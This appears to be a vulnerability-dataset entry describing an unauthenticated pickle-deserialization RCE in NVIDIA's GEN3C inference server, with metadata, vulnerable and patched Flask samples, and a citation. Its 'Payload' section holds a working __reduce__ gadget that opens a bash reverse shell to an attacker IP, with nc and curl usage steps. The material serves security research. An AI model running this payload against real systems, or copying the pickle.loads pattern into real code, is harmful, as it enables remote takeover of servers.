CVE-2026-53805
Unauthenticated RCE in NVIDIA GEN3C via insecure pickle deserialization.
- CVSS 9.3
- CWE-502
- Input Validation and Sanitization
- Remote
NVIDIA Spatial Intelligence Lab's (SIL) GEN3C contains an unauthenticated remote code execution vulnerability in the inference API server where the /request-inference and /seed-model endpoints deserialize raw HTTP request bodies using Python's pickle.loads() without authentication or input validation. Attackers can supply a crafted payload containing a __reduce__ gadget to the inference API port to achieve remote code execution as the inference process.
- CWE
- CWE-502
- CVSS base score
- 9.3
- Published
- 2026-06-17
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- pickle
- Fixed by upgrading
- Yes
Solution
The GEN3C project is archived and no longer maintained; no patch is available. Users should stop using the software and migrate to an alternative.
Vulnerable code sample
from flask import Flask, request
import pickle
app = Flask(__name__)
@app.route('/request-inference', methods=['POST'])
def request_inference():
# Vulnerable: Deserializes raw request body without authentication or validation.
deserialized_payload = pickle.loads(request.data)
# In a real app, this might be passed to a model.
print(f"Processing payload: {deserialized_payload}")
return "Inference request processed.", 200
@app.route('/seed-model', methods=['POST'])
def seed_model():
# Vulnerable: Deserializes raw request body without authentication or validation.
model_data = pickle.loads(request.data)
# In a real app, this would be used to load model weights/config.
print(f"Seeding model with data: {model_data}")
return "Model seeded successfully.", 200
if __name__ == '__main__':
# The server is exposed to the network on port 5000.
app.run(host='0.0.0.0', port=5000)Patched code sample
from flask import Flask, request, jsonify
app = Flask(__name__)
# This fixed version of the server endpoints uses JSON, a safe data
# interchange format, for deserializing the request body. This prevents
# arbitrary code execution that is possible with unsafe formats like pickle.
@app.route('/request-inference', methods=['POST'])
def request_inference():
"""
Safely handles an inference request using JSON.
This represents a fix for the pickle deserialization vulnerability.
"""
try:
# FIX: Use JSON, a safe data interchange format, instead of pickle.
# Flask's request.get_json() handles the deserialization safely.
inference_data = request.get_json()
# Perform input validation on the received data.
if not inference_data or 'input' not in inference_data:
return jsonify({"error": "Missing 'input' field in request"}), 400
# --- Placeholder for actual inference logic ---
# The validated 'inference_data' can now be safely used.
result = {"prediction": f"Processed input: {inference_data['input']}"}
# --- End of placeholder ---
return jsonify(result), 200
except Exception as e:
# Handles malformed JSON or other processing errors.
return jsonify({"error": f"An error occurred: {str(e)}"}), 500
@app.route('/seed-model', methods=['POST'])
def seed_model():
"""
Safely seeds a model using JSON for data interchange.
This represents a fix for deserializing untrusted data.
"""
try:
# FIX: Use a safe serialization format like JSON instead of pickle.
# request.get_json() safely parses the incoming JSON data.
data = request.get_json()
# Basic input validation.
if not data or 'model_name' not in data or 'model_data' not in data:
return jsonify({"error": "Invalid model data provided"}), 400
# --- Placeholder for model seeding logic ---
print(f"Seeding model '{data['model_name']}'...")
# --- End of placeholder ---
return jsonify({"status": "Model seeded successfully", "model": data['model_name']}), 200
except Exception as e:
# Catch potential parsing errors or other issues.
return jsonify({"error": f"An error occurred: {str(e)}"}), 500
if __name__ == '__main__':
# For demonstration purposes only. Use a production WSGI server in a real environment.
app.run(host='0.0.0.0', port=8080)Payload
import pickle
import os
class RCE:
def __reduce__(self):
# The command will be executed on the target system.
# Replace 10.10.10.10 with the attacker's IP and 4444 with the attacker's listening port.
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
return (os.system, (cmd,))
# This will generate the byte stream to be used as the raw request body.
payload = pickle.dumps(RCE())
# To use this, start a listener on your machine (e.g., nc -lvnp 4444)
# and send the 'payload' bytes as the raw body of a POST request
# to http://<target-ip>:<target-port>/request-inference or /seed-model.
# For example, using curl:
# python -c 'import pickle; import os; class RCE: ...; print(pickle.dumps(RCE()))' | curl http://<target-ip>:<target-port>/request-inference --data-binary @-
Cite this entry
@misc{vaitp:cve202653805,
title = {{Unauthenticated RCE in NVIDIA GEN3C via insecure pickle deserialization.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-53805},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53805/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
